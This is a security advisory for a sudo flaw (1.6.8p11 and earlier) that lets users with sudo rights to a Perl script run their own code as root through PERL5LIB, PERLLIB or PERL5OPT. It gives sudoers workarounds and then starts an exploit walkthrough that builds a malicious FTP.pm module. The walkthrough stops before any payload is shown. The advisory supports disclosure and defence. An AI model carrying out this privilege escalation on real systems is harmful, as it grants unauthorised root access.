"Sudo (superuser do) allows a system administrator to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while logging the commands and arguments."
Sudo execute sub processes of Perl module with the privileges of the main perl script, allowing local attackers to execute arbitrary code.
Vulnerable Systems:
* sudo version 1.6.8p11 and prior
Immune Systems:
* sudo version 1.6.8p12
The PERL5LIB and PERLLIB environment variables can be used to provide a list of directories in which to look for Perl library files before the system directories are searched. It is similar in concept to the LD_LIBRARY_PATH environment variables, only for Perl. These variables are ignored if "tainting" is enabled (via the -T switch). The PERL5OPT environment variable specifies additional command line options to be passed to the script which may modify its behavior.
Malicious users with sudo access to run a Perl script can use these variables to include and execute their own library file with the same name as a system library file that is included (via the "use" or "require" directives) by the Perl script run via sudo.
Exploitation of the bug requires that Perl be installed on the machine and that users be granted sudo access to run Perl scripts that do not have tainting turned on.
Workaround:
The administrator can add a line at the top of the sudoers file:
Defaults env_delete+="PERLLIB PERL5LIB PERL5OPT"
which will cause sudo to strip the PERLLIB, PERL5LIB and PERL5OPT environment variables without requiring a recompile. Alternately, the administrator can add a line to the top of sudoers file:
Defaults env_reset
Which will reset the environment to only contain the variables HOME, LOGNAME, PATH, SHELL, TERM, and USER, also preventing this attack.
## You need execute access to perl script in sudo ##
## cat /etc/sudoers ##
breno ALL=(ALL) /home/breno/code.pl
## Now let's create your own perl module FTP.pm :) good name.
breno ~ $ -> mkdir modules
breno ~ $ -> mkdir FTP
breno ~/modules $ -> ls
FTP
breno ~/modules $ -> cd FTP
breno ~/modules/FTP $ -> h2xs -AXc -n FTP
Defaulting to backwards compatibility with perl 5.8.7
If you intend this module to be compatible with earlier perl versions, please
specify a minimum perl version with the -b option.